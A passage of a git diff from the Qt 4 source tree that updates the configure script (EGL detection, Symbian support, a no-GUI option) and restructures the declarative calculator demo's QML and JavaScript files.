+            echo "The OpenGL ES 1.x functionality test failed!"
             echo " You might need to modify the include and library search paths by editing"
             echo " QMAKE_INCDIR_OPENGL_ES1, QMAKE_LIBDIR_OPENGL_ES1 and QMAKE_LIBS_OPENGL_ES1 in"
             echo " ${XQMAKESPEC}."
@@ -5241,9 +5459,9 @@ if [ "$PLATFORM_X11" = "yes" ]; then
         fi
     elif [ "$CFG_OPENGL" = "es2" ]; then
         #OpenGL ES 2.x
-	"$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles2 "OpenGL ES 2.x" $L_FLAGS $I_FLAGS $l_FLAGS
+        "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles2 "OpenGL ES 2.x" $L_FLAGS $I_FLAGS $l_FLAGS
         if [ $? != "0" ]; then
-	    echo "The OpenGL ES 2.0 functionality test failed!"
+            echo "The OpenGL ES 2.0 functionality test failed!"
             echo " You might need to modify the include and library search paths by editing"
             echo " QMAKE_INCDIR_OPENGL_ES2, QMAKE_LIBDIR_OPENGL_ES2 and QMAKE_LIBS_OPENGL_ES2 in"
             echo " ${XQMAKESPEC}."
@@ -5253,7 +5471,7 @@ if [ "$PLATFORM_X11" = "yes" ]; then
         # Desktop OpenGL support
         "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/x11/opengl "OpenGL" $L_FLAGS $I_FLAGS $l_FLAGS $X11TESTS_FLAGS
         if [ $? != "0" ]; then
-	    echo "The OpenGL functionality test failed!"
+            echo "The OpenGL functionality test failed!"
             echo " You might need to modify the include and library search paths by editing"
             echo " QMAKE_INCDIR_OPENGL, QMAKE_LIBDIR_OPENGL and QMAKE_LIBS_OPENGL in"
             echo " ${XQMAKESPEC}."
@@ -5266,7 +5484,7 @@ if [ "$PLATFORM_X11" = "yes" ]; then
             if [ $? != "0" ]; then
                 QMakeVar add DEFINES QT_DEFINE_GLXFBCONFIG_STRUCT
             fi
-	    ;;
+            ;;
         *)
             ;;
         esac
@@ -5618,7 +5836,18 @@ fi
 if [ "$PLATFORM_QWS" = "yes" ]; then
 
     # auto-detect OpenGL support (es1 = OpenGL ES 1.x Common, es2 = OpenGL ES 2.x)
+    if [ "$CFG_GUI" = "no" ]; then
+        if [ "$CFG_OPENGL" = "auto" ]; then
+            CFG_OPENGL=no
+        fi
+        if [ "$CFG_OPENGL" != "no" ]; then
+            echo "OpenGL enabled, but GUI disabled."
+            echo " You might need to either enable the GUI or disable OpenGL"
+            exit 1
+        fi
+    fi
     if [ "$CFG_OPENGL" = "yes" ]; then
+        CFG_EGL=auto
         if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles2 "OpenGL ES 2.x" $L_FLAGS $I_FLAGS $l_FLAGS; then
             CFG_OPENGL=es2
     elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles1 "OpenGL ES 1.x" $L_FLAGS $I_FLAGS $l_FLAGS; then
@@ -5640,6 +5869,7 @@ if [ "$PLATFORM_QWS" = "yes" ]; then
             echo " ${XQMAKESPEC}."
             exit 1
         fi
+        CFG_EGL=yes
     elif [ "$CFG_OPENGL" = "es2" ]; then
         #OpenGL ES 2.x
         "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/opengles2 "OpenGL ES 2.x" $L_FLAGS $I_FLAGS $l_FLAGS
@@ -5650,6 +5880,7 @@ if [ "$PLATFORM_QWS" = "yes" ]; then
             echo " ${XQMAKESPEC}."
             exit 1
         fi
+        CFG_EGL=yes
     elif [ "$CFG_OPENGL" = "desktop" ]; then
         # Desktop OpenGL support
         echo "Desktop OpenGL support is not avaliable on Qt for Embedded Linux"
@@ -5739,6 +5970,36 @@ if [ "$PLATFORM_QWS" = "yes" -o "$PLATFORM_EMBLITE" = "yes" ]; then
 
 fi # QWS
 
+# EGL Support
+if [ "$PLATFORM_X11" = "yes" -o "$PLATFORM_QWS" = "yes" ]; then
+    if [ "$CFG_EGL" != "no" ]; then
+        # detect EGL support
+        if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl" "EGL (EGL/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
+            # EGL specified by QMAKE_*_EGL, included with <EGL/egl.h>
+            CFG_EGL=yes
+            CFG_EGL_GLES_INCLUDES=no
+        elif "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/egl4gles1" "EGL (GLES/egl.h)" $L_FLAGS $I_FLAGS $l_FLAGS; then
+            # EGL specified by QMAKE_*_EGL, included with <GLES/egl.h>
+            CFG_EGL=yes
+            CFG_EGL_GLES_INCLUDES=yes
+        else
+            if [ "$CFG_EGL" = "yes" ]; then
+                echo "The EGL functionality test failed!"
+                echo " EGL is required for OpenGL ES to manage contexts & surfaces."
+                echo " You might need to modify the include and library search paths by editing"
+                echo " QMAKE_INCDIR_EGL, QMAKE_LIBDIR_EGL and QMAKE_LIBS_EGL in"
+                echo " ${XQMAKESPEC}."
+                exit 1
+            fi
+            CFG_EGL=no
+            # If QtOpenGL would be built against OpenGL ES, disable it as we can't to that if EGL is missing
+            if [ "$CFG_OPENGL" = "es1" ||  "$CFG_OPENGL" = "es2" ]; then
+                CFG_OPENGL=no
+            fi
+        fi
+    fi
+fi
+
 # freetype support
 [ "x$CFG_EMBEDDED" != "xno" ] && CFG_LIBFREETYPE="$CFG_QWS_FREETYPE"
 [ "x$PLATFORM_MAC" = "xyes" ] && CFG_LIBFREETYPE=no
@@ -5753,6 +6014,8 @@ fi
 if [ "$CFG_ENDIAN" = "auto" ]; then
     if [ "$PLATFORM_MAC" = "yes" ]; then
 	true #leave as auto
+    elif [ "$XPLATFORM" = "symbian-sbsv2" ]; then
+        CFG_ENDIAN="Q_LITTLE_ENDIAN"
     else
         "$unixtests/endian.test" "$XQMAKESPEC" $OPT_VERBOSE "$relpath" "$outpath"
 	F="$?"
@@ -5838,7 +6101,7 @@ if [ "$CFG_DOUBLEFORMAT" = "auto" ]; then
 fi
 
 HAVE_STL=no
-if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/stl "STL" $L_FLAGS $I_FLAGS $l_FLAGS; then
+if echo "$XPLATFORM" | grep symbian > /dev/null || "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/stl "STL" $L_FLAGS $I_FLAGS $l_FLAGS; then
     HAVE_STL=yes
 fi
 
@@ -5972,23 +6235,6 @@ if [ "$CFG_GETIFADDRS" != "no" ]; then
     fi
 fi
 
-# find if the platform supports X/Open Large File compilation environment
-if [ "$CFG_LARGEFILE" != "no" ]; then
-    if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/largefile "X/Open Large File" $L_FLAGS $I_FLAGS $l_FLAGS; then
-        CFG_LARGEFILE=yes
-    else
-        if [ "$CFG_LARGEFILE" = "yes" ] && [ "$CFG_CONFIGURE_EXIT_ON_ERROR" = "yes" ]; then
-            echo "X/Open Large File support cannot be enabled due to functionality tests!"
-            echo " Turn on verbose messaging (-v) to $0 to see the final report."
-            echo " If you believe this message is in error you may use the continue"
-            echo " switch (-continue) to $0 to continue."
-            exit 101
-        else
-            CFG_LARGEFILE=no
-        fi
-    fi
-fi
-
 # detect OpenSSL
 if [ "$CFG_OPENSSL" != "no" ]; then
     if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/openssl "OpenSSL" $L_FLAGS $I_FLAGS $l_FLAGS $MAC_CONFIG_TEST_COMMANDLINE; then
@@ -6009,7 +6255,7 @@ if [ "$CFG_OPENSSL" != "no" ]; then
 fi
 
 # detect OpenVG support
-if [ "$CFG_OPENVG" != "no" ]; then
+if [ "$CFG_OPENVG" != "no" ] && [ "$XPLATFORM" != "symbian-sbsv2" ]; then
     if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" "config.tests/unix/openvg" "OpenVG" $L_FLAGS $I_FLAGS $l_FLAGS $CONFIG_ARG; then
         if [ "$CFG_OPENVG" = "auto" ]; then
             CFG_OPENVG=yes
@@ -6069,14 +6315,6 @@ if [ "$CFG_ALSA" = "auto" ]; then
     fi
 fi
 
-if [ "$CFG_PULSEAUDIO" = "auto" ]; then
-    if "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/pulseaudio "pulseaudio" $L_FLAGS $I_FLAGS $l_FLAGS; then
-        CFG_PULSEAUDIO=yes
-    else
-        CFG_PULSEAUDIO=no
-    fi
-fi
-
 if [ "$CFG_JAVASCRIPTCORE_JIT" = "yes" ] || [ "$CFG_JAVASCRIPTCORE_JIT" = "auto" ]; then 
     if [ "$CFG_ARCH" = "arm" ] || [ "$CFG_ARCH" = "armv6" ]; then
        "$unixtests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/unix/javascriptcore-jit "javascriptcore-jit" $L_FLAGS $I_FLAGS $l_FLAGS
@@ -6092,6 +6330,14 @@ elif [ "$CFG_JAVASCRIPTCORE_JIT" = "no" ]; then
     QMakeVar set JAVASCRIPTCORE_JIT no
 fi
 
+if [ "$CFG_AUDIO_BACKEND" = "auto" ]; then
+    if echo "$XPLATFORM" | grep symbian > /dev/null 2>&1; then
+        "$symbiantests/compile.test" "$XQMAKESPEC" "$QMAKE_CONFIG" $OPT_VERBOSE "$relpath" "$outpath" config.tests/symbian/audio "audio" $L_FLAGS $I_FLAGS $l_FLAGS
+    else
+        CFG_AUDIO_BACKEND=yes
+    fi
+fi
+
 #-------------------------------------------------------------------------------
 # ask for all that hasn't been auto-detected or specified in the arguments
 #-------------------------------------------------------------------------------
@@ -6212,9 +6458,9 @@ case "$PLATFORM,$CFG_MAC_COCOA" in
 	;;
 esac
 
-# disable Qt 3 support on VxWorks
+# disable Qt 3 support on VxWorks and Symbian
 case "$XPLATFORM" in
-    unsupported/vxworks*)
+    unsupported/vxworks*|symbian*)
 	CFG_QT3SUPPORT="no"
     ;;
 esac
@@ -6268,6 +6514,19 @@ else
     fi
 fi
 
+if [ "$CFG_QS60STYLE" = "no" ]; then
+    QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_STYLE_S60"
+else
+    QCONFIG_FLAGS="$QCONFIG_FLAGS QT_STYLE_S60"
+fi
+
+# Disable OpenGL on Symbian.
+case "$XPLATFORM" in
+    symbian*)
+        CFG_OPENGL="no"
+        ;;
+esac
+
 # enable opengl
 if [ "$CFG_OPENGL" = "no" ]; then
     QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_OPENGL"
@@ -6440,6 +6699,15 @@ elif [ "$CFG_LIBFREETYPE" = "system" ]; then
 else
     QT_CONFIG="$QT_CONFIG freetype"
 fi
+if [ "$CFG_GUI" = "auto" ]; then
+    CFG_GUI="yes"
+fi
+if [ "$CFG_GUI" = "no" ]; then
+    QT_CONFIG="$QT_CONFIG no-gui"
+else
+    QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_GUI"
+fi
+
 
 if [ "x$PLATFORM_MAC" = "xyes" ] && [ "$XPLATFORM" != "win32-g++" ]; then
     #On Mac we implicitly link against libz, so we
@@ -6452,6 +6720,16 @@ elif [ "$CFG_ZLIB" = "system" ]; then
     QT_CONFIG="$QT_CONFIG system-zlib"
 fi
 
+if [ "$CFG_S60" = "yes" ]; then
+    QT_CONFIG="$QT_CONFIG s60"
+fi
+
+if [ "$CFG_SYMBIAN_DEFFILES" = "yes" ]; then
+    QMAKE_CONFIG="$QMAKE_CONFIG def_files"
+else
+    QMAKE_CONFIG="$QMAKE_CONFIG def_files_disabled"
+fi
+
 [ "$CFG_NIS" = "yes" ] && QT_CONFIG="$QT_CONFIG nis"
 [ "$CFG_CUPS" = "yes" ] && QT_CONFIG="$QT_CONFIG cups"
 [ "$CFG_ICONV" = "yes" ] && QT_CONFIG="$QT_CONFIG iconv"
@@ -6585,6 +6863,10 @@ if [ "$CFG_COREWLAN" = "yes" ]; then
     QT_CONFIG="$QT_CONFIG corewlan"
 fi
 
+if [ "$CFG_ICD" = "yes" ]; then
+    QT_CONFIG="$QT_CONFIG icd"
+fi
+
 #
 # Some Qt modules are too advanced in C++ for some old compilers
 # Detect here the platforms where they are known to work.
@@ -6705,6 +6987,12 @@ EOF
 	;;
 esac
 
+if [ "$CFG_GUI" = "no" ]; then
+    # WebKit requires QtGui
+    canBuildWebKit="no"
+fi
+
+
 CFG_CONCURRENT="yes"
 if [ "$canBuildQtConcurrent" = "no" ]; then
     QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_CONCURRENT"
@@ -6739,6 +7027,15 @@ if [ "$CFG_AUDIO_BACKEND" = "yes" ]; then
     QT_CONFIG="$QT_CONFIG audio-backend"
 fi
 
+if [ "$CFG_SVG" = "auto" ]; then
+    CFG_SVG=$CFG_GUI
+fi
+
+if [ "$CFG_SVG" = "yes" ] && [ "$CFG_GUI" = "no" ]; then
+    echo "QtSvg requested, but it can't be built without QtGui"
+    exit 1
+fi
+
 if [ "$CFG_SVG" = "yes" ]; then
     QT_CONFIG="$QT_CONFIG svg"
 else
@@ -6786,13 +7083,13 @@ fi
 
 
 if [ "$CFG_DECLARATIVE" = "yes" ]; then
-    if [ "$CFG_SCRIPT" = "no" ]; then
-        echo "Error: QtDeclarative was requested, but it can't be built due to QtScript being disabled."
+    if [ "$CFG_SCRIPT" = "no" -o "$CFG_GUI" = "no" ]; then
+        echo "Error: QtDeclarative was requested, but it can't be built due to QtScript or QtGui being disabled."
         exit 1
     fi
 fi
 if [ "$CFG_DECLARATIVE" = "auto" ]; then
-    if [ "$CFG_SCRIPT" = "no" ]; then
+    if [ "$CFG_SCRIPT" = "no" -o "$CFG_GUI" = "no" ]; then
             CFG_DECLARATIVE=no
     else
             CFG_DECLARATIVE=yes
@@ -6910,7 +7207,7 @@ esac
 #     minimal-config small-config medium-config large-config full-config
 #
 #   Different edition modules:
-#     network canvas table xml opengl sql
+#     gui network canvas table xml opengl sql
 #
 # Things that do not affect the Qt API/ABI:
 #     stl
@@ -7264,6 +7561,7 @@ QMakeVar set sql-plugins "$SQL_PLUGINS"
 [ "$CFG_JPEG" != "yes" ]     && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_IMAGEFORMAT_JPEG"
 [ "$CFG_MNG" != "yes" ]      && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_IMAGEFORMAT_MNG"
 [ "$CFG_ZLIB" != "yes" ]     && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_ZLIB"
+[ "$CFG_S60" != "yes" ]      && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_S60"
 [ "$CFG_EXCEPTIONS" = "no" ] && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_EXCEPTIONS"
 [ "$CFG_IPV6" = "no" ]       && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_IPV6"
 [ "$CFG_SXE" = "no" ]        && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_SXE"
@@ -7314,11 +7612,21 @@ fi
 [ "$CFG_ALSA" = "no" ]           && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_ALSA"
 [ "$CFG_PULSEAUDIO" = "no" ]          && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_PULSEAUDIO"
 [ "$CFG_COREWLAN" = "no" ]       && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_COREWLAN"
+[ "$CFG_ICD" = "no" ] && QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_ICD"
 
 # sort QCONFIG_FLAGS for neatness if we can
 [ '!' -z "$AWK" ] && QCONFIG_FLAGS=`echo $QCONFIG_FLAGS | $AWK '{ gsub(" ", "\n"); print }' | sort | uniq`
 QCONFIG_FLAGS=`echo $QCONFIG_FLAGS`
 
+if echo $XPLATFORM | grep symbian >/dev/null
+then
+    # Enable Symbian DLLs and export rules.
+    # We cannot use Linux's default export rules since they export everything.
+    QCONFIG_FLAGS="$QCONFIG_FLAGS QT_DLL"
+    # Disable non-working features.
+    QCONFIG_FLAGS="$QCONFIG_FLAGS QT_NO_CONCURRENT QT_NO_QFUTURE QT_NO_CRASHHANDLER QT_NO_PRINTER QT_NO_CURSOR QT_NO_SYSTEMTRAYICON"
+fi
+
 if [ -n "$QCONFIG_FLAGS" ]; then
     for cfg in $QCONFIG_FLAGS; do
         cfgd=`echo $cfg | sed 's/=.*$//'` # trim pushed 'Foo=Bar' defines
@@ -7648,11 +7956,7 @@ else
 fi
 
 if [ "$OPT_VERBOSE" = "yes" ]; then
-    if echo '\c' | grep '\c' >/dev/null; then
-        echo -n "qmake vars ............. "
-    else
-        echo "qmake vars ............. \c"
-    fi
+    echo $ECHO_N "qmake vars .......... $ECHO_C"
     cat "$QMAKE_VARS_FILE" | tr '\n' ' '
     echo "qmake switches ......... $QMAKE_SWITCHES"
 fi
@@ -7675,6 +7979,7 @@ echo "Qt 3 compatibility ..... $CFG_QT3SUPPORT"
 [ "$CFG_DBUS" = "yes" ]    && echo "QtDBus module .......... yes (run-time)"
 [ "$CFG_DBUS" = "linked" ] && echo "QtDBus module .......... yes (linked)"
 echo "QtConcurrent code ...... $CFG_CONCURRENT"
+echo "QtGui module ........... $CFG_GUI"
 echo "QtScript module ........ $CFG_SCRIPT"
 echo "QtScriptTools module ... $CFG_SCRIPTTOOLS"
 echo "QtXmlPatterns module ... $CFG_XMLPATTERNS"
@@ -7690,9 +7995,11 @@ if [ "$CFG_WEBKIT" = "yes" ]; then
     fi
 fi
 echo "Declarative module ..... $CFG_DECLARATIVE"
+echo "Support for S60 ........ $CFG_S60"
+echo "Symbian DEF files ...... $CFG_SYMBIAN_DEFFILES"
 echo "STL support ............ $CFG_STL"
 echo "PCH support ............ $CFG_PRECOMPILE"
-echo "MMX/3DNOW/SSE/SSE2 ..... ${CFG_MMX}/${CFG_3DNOW}/${CFG_SSE}/${CFG_SSE2}"
+echo "MMX/3DNOW/SSE/SSE2...... ${CFG_MMX}/${CFG_3DNOW}/${CFG_SSE}/${CFG_SSE2}"
 if [ "$CFG_ARCH" = "arm" ] || [ "$CFG_ARCH" = "armv6" ]; then
     echo "iWMMXt support ......... ${CFG_IWMMXT}"
     echo "NEON support ........... ${CFG_NEON}"
@@ -7708,6 +8015,7 @@ echo "CUPS support ........... $CFG_CUPS"
 echo "Iconv support .......... $CFG_ICONV"
 echo "Glib support ........... $CFG_GLIB"
 echo "GStreamer support ...... $CFG_GSTREAMER"
+echo "PulseAudio support ..... $CFG_PULSEAUDIO"
 echo "Large File support ..... $CFG_LARGEFILE"
 echo "GIF support ............ $CFG_GIF"
 if [ "$CFG_TIFF" = "no" ]; then
@@ -7815,10 +8123,10 @@ elif [ "$CFG_OPENSSL" = "linked" ]; then
 fi
 echo "OpenSSL support ........ $CFG_OPENSSL $OPENSSL_LINKAGE"
 echo "Alsa support ........... $CFG_ALSA"
-echo "Pulse Audio support .... $CFG_PULSEAUDIO"
 if [ "$PLATFORM_MAC" = "yes" ]; then
     echo "CoreWlan support ....... $CFG_COREWLAN"
 fi
+echo "ICD support ............ $CFG_ICD"
 echo
 
 [ "$CFG_PTMALLOC" != "no" ] && echo "Use ptmalloc ........... $CFG_PTMALLOC"
@@ -7841,8 +8149,10 @@ if [ "$CFG_OPENSSL" = "linked" ] && [ "$OPENSSL_LIBS" = "" ]; then
 fi
 if [ "$PLATFORM_MAC" = "yes" ] && [ "$CFG_FRAMEWORK" = "yes" ] && [ "$CFG_DEBUG" = "yes" ] && [ "$CFG_DEBUG_RELEASE" = "no" ]; then
     echo
-    echo "NOTE: Mac OS X frameworks implicitly build debug and release Qt libraries."
+    echo "Error: debug-only framework builds are not supported. Configure with -no-framework"
+    echo "if you want a pure debug build."
     echo
+    exit 1
 fi
 
 sepath=`echo "$relpath" | sed -e 's/\\./\\\\./g'`
@@ -8032,21 +8342,12 @@ for file in .projects .projects.3; do
             continue;
         fi
         QMAKE_SPEC_ARGS="-spec $SPEC"
-        if echo '\c' | grep '\c' >/dev/null; then
-            echo -n "  for $a"
-        else
-            echo "  for $a\c"
-        fi
+        echo $ECHO_N "  for $a$ECHO_C"
 
         QMAKE="$outpath/bin/qmake"
 	QMAKE_ARGS="$QMAKE_SWITCHES $QMAKE_SPEC_ARGS"
         if [ "$file" = ".projects.3" ]; then
-            if echo '\c' | grep '\c' >/dev/null; then
-                echo -n " (fast)"
-            else
-                echo " (fast)\c"
-            fi
-            echo
+            echo " (fast)"
 
             cat >"${OUTDIR}/Makefile" <<EOF
 # ${OUTDIR}/Makefile: generated by configure
diff --git a/demos/declarative/calculator/CalcButton.qml b/demos/declarative/calculator/CalcButton.qml
deleted file mode 100644
index 6210e46..0000000
--- a/demos/declarative/calculator/CalcButton.qml
+++ /dev/null
@@ -1,41 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    property alias operation: label.text
-    property bool toggable: false
-    property bool toggled: false
-    signal clicked
-
-    id: button; width: 50; height: 30
-    border.color: palette.mid; radius: 6
-    gradient: Gradient {
-        GradientStop { id: gradientStop1; position: 0.0; color: Qt.lighter(palette.button) }
-        GradientStop { id: gradientStop2; position: 1.0; color: palette.button }
-    }
-
-    Text { id: label; anchors.centerIn: parent; color: palette.buttonText }
-
-    MouseArea {
-        id: clickRegion
-        anchors.fill: parent
-        onClicked: {
-            doOp(operation);
-            button.clicked();
-            if (!button.toggable) return;
-            button.toggled ? button.toggled = false : button.toggled = true
-        }
-    }
-
-    states: [
-        State {
-            name: "Pressed"; when: clickRegion.pressed == true
-            PropertyChanges { target: gradientStop1; color: palette.dark }
-            PropertyChanges { target: gradientStop2; color: palette.button }
-        },
-        State {
-            name: "Toggled"; when: button.toggled == true
-            PropertyChanges { target: gradientStop1; color: palette.dark }
-            PropertyChanges { target: gradientStop2; color: palette.button }
-        }
-    ]
-}
diff --git a/demos/declarative/calculator/Core/Button.qml b/demos/declarative/calculator/Core/Button.qml
new file mode 100644
index 0000000..8948adc
--- /dev/null
+++ b/demos/declarative/calculator/Core/Button.qml
@@ -0,0 +1,39 @@
+import Qt 4.7
+
+BorderImage {
+    id: button
+
+    property alias operation: buttonText.text
+    property string color: ""
+
+    signal clicked
+
+    source: "images/button-" + color + ".png"; clip: true
+    border { left: 10; top: 10; right: 10; bottom: 10 }
+
+    Rectangle {
+        id: shade
+        anchors.fill: button; radius: 10; color: "black"; opacity: 0
+    }
+
+    Text {
+        id: buttonText
+        anchors.centerIn: parent; anchors.verticalCenterOffset: -1
+        font.pixelSize: parent.width > parent.height ? parent.height * .5 : parent.width * .5
+        style: Text.Sunken; color: "white"; styleColor: "black"; smooth: true
+    }
+
+    MouseArea {
+        id: mouseArea
+        anchors.fill: parent
+        onClicked: {
+            doOp(operation)
+            button.clicked()
+        }
+    }
+
+    states: State {
+        name: "pressed"; when: mouseArea.pressed == true
+        PropertyChanges { target: shade; opacity: .4 }
+    }
+}
diff --git a/demos/declarative/calculator/Core/Display.qml b/demos/declarative/calculator/Core/Display.qml
new file mode 100644
index 0000000..b98c44b
--- /dev/null
+++ b/demos/declarative/calculator/Core/Display.qml
@@ -0,0 +1,27 @@
+import Qt 4.7
+
+BorderImage {
+    id: image
+
+    property alias text : displayText.text
+    property alias currentOperation : operationText
+
+    source: "images/display.png"
+    border { left: 10; top: 10; right: 10; bottom: 10 }
+
+    Text {
+        id: displayText
+        anchors {
+            right: parent.right; verticalCenter: parent.verticalCenter; verticalCenterOffset: -1
+            rightMargin: 6; left: operationText.right
+        }
+        font.pixelSize: parent.height * .6; text: "0"; horizontalAlignment: Text.AlignRight; elide: Text.ElideRight
+        color: "#343434"; smooth: true; font.bold: true
+    }
+    Text {
+        id: operationText
+        font.bold: true; font.pixelSize: parent.height * .7
+        color: "#343434"; smooth: true
+        anchors { left: parent.left; leftMargin: 6; verticalCenterOffset: -3; verticalCenter: parent.verticalCenter }
+    }
+}
diff --git a/demos/declarative/calculator/Core/calculator.js b/demos/declarative/calculator/Core/calculator.js
new file mode 100644
index 0000000..51b3dd3
--- /dev/null
+++ b/demos/declarative/calculator/Core/calculator.js
@@ -0,0 +1,91 @@
+
+var curVal = 0
+var memory = 0
+var lastOp = ""
+var timer = 0
+
+function disabled(op) {
+    if (op == "." && display.text.toString().search(/\./) != -1) {
+        return true
+    } else if (op == squareRoot &&  display.text.toString().search(/-/) != -1) {
+        return true
+    } else {
+        return false
+    }
+}
+
+function doOperation(op) {
+    if (disabled(op)) {
+        return
+    }
+
+    if (op.toString().length==1 && ((op >= "0" && op <= "9") || op==".") ) {
+        if (display.text.toString().length >= 14)
+            return; // No arbitrary length numbers
+        if (lastOp.toString().length == 1 && ((lastOp >= "0" && lastOp <= "9") || lastOp == ".") ) {
+            display.text = display.text + op.toString()
+        } else {
+            display.text = op
+        }
+        lastOp = op
+        return
+    }
+    lastOp = op
+
+    if (display.currentOperation.text == "+") {
+        display.text = Number(display.text.valueOf()) + Number(curVal.valueOf())
+    } else if (display.currentOperation.text == "-") {
+        display.text = Number(curVal) - Number(display.text.valueOf())
+    } else if (display.currentOperation.text == multiplication) {
+        display.text = Number(curVal) * Number(display.text.valueOf())
+    } else if (display.currentOperation.text == division) {
+        display.text = Number(Number(curVal) / Number(display.text.valueOf())).toString()
+    } else if (display.currentOperation.text == "=") {
+    }
+
+    if (op == "+" || op == "-" || op == multiplication || op == division) {
+        display.currentOperation.text = op
+        curVal = display.text.valueOf()
+        return
+    }
+
+    curVal = 0
+    display.currentOperation.text = ""
+
+    if (op == "1/x") {
+        display.text = (1 / display.text.valueOf()).toString()
+    } else if (op == "x^2") {
+        display.text = (display.text.valueOf() * display.text.valueOf()).toString()
+    } else if (op == "Abs") {
+        display.text = (Math.abs(display.text.valueOf())).toString()
+    } else if (op == "Int") {
+        display.text = (Math.floor(display.text.valueOf())).toString()
+    } else if (op == plusminus) {
+        display.text = (display.text.valueOf() * -1).toString()
+    } else if (op == squareRoot) {
+        display.text = (Math.sqrt(display.text.valueOf())).toString()
+    } else if (op == "mc") {
+        memory = 0;
+    } else if (op == "m+") {
+        memory += display.text.valueOf()
+    } else if (op == "mr") {
+        display.text = memory.toString()
+    } else if (op == "m-") {
+        memory = display.text.valueOf()
+    } else if (op == leftArrow) {
+        display.text = display.text.toString().slice(0, -1)
+    } else if (op == "C") {
+        display.text = "0"
+    } else if (op == "AC") {
+        curVal = 0
+        memory = 0
+        lastOp = ""
+        display.text ="0"
+    }
+
+    if (op == rotateLeft)
+        main.state = 'rotated'
+    if (op == rotateRight)
+        main.state = ''
+}
+
diff --git a/demos/declarative/calculator/Core/images/button-.png b/demos/declarative/calculator/Core/images/button-.png
new file mode 100644
index 0000000..544e514
--- /dev/null
+++ b/demos/declarative/calculator/Core/images/button-.png
diff --git a/demos/declarative/calculator/Core/images/button-blue.png b/demos/declarative/calculator/Core/images/button-blue.png
new file mode 100644
index 0000000..5f92de3
--- /dev/null
+++ b/demos/declarative/calculator/Core/images/button-blue.png
diff --git a/demos/declarative/calculator/Core/images/button-green.png b/demos/declarative/calculator/Core/images/button-green.png
new file mode 100644
index 0000000..36c9391
--- /dev/null
+++ b/demos/declarative/calculator/Core/images/button-green.png
diff --git a/demos/declarative/calculator/Core/images/button-purple.png b/demos/declarative/calculator/Core/images/button-purple.png
new file mode 100644
index 0000000..347cbbe
--- /dev/null
+++ b/demos/declarative/calculator/Core/images/button-purple.png
diff --git a/demos/declarative/calculator/Core/images/button-red.png b/demos/declarative/calculator/Core/images/button-red.png
new file mode 100644
index 0000000..3b33589
--- /dev/null
+++ b/demos/declarative/calculator/Core/images/button-red.png
diff --git a/demos/declarative/calculator/Core/images/display.png b/demos/declarative/calculator/Core/images/display.png
new file mode 100644
index 0000000..9507f43
--- /dev/null
+++ b/demos/declarative/calculator/Core/images/display.png
diff --git a/demos/declarative/calculator/Core/qmldir b/demos/declarative/calculator/Core/qmldir
new file mode 100644
index 0000000..a926b93
--- /dev/null
+++ b/demos/declarative/calculator/Core/qmldir
@@ -0,0 +1,2 @@
+Button Button.qml
+Display Display.qml
diff --git a/demos/declarative/calculator/calculator.js b/demos/declarative/calculator/calculator.js
deleted file mode 100644
index cd6490a..0000000
--- a/demos/declarative/calculator/calculator.js
+++ /dev/null
@@ -1,87 +0,0 @@
-
-var curVal = 0;
-var memory = 0;
-var lastOp = "";
-var timer = 0;
-
-function disabled(op) {
-    if (op == "." && curNum.text.toString().search(/\./) != -1) {
-        return true;
-    } else if (op == "Sqrt" &&  curNum.text.toString().search(/-/) != -1) {
-        return true;
-    } else {
-        return false;
-    }
-}
-
-function doOp(op) {
-    if (disabled(op)) {
-        return;
-    }
-
-    if (op.toString().length==1 && ((op >= "0" && op <= "9") || op==".") ) {
-        if (curNum.text.toString().length >= 14)
-            return; // No arbitrary length numbers
-        if (lastOp.toString().length == 1 && ((lastOp >= "0" && lastOp <= "9") || lastOp==".") ) {
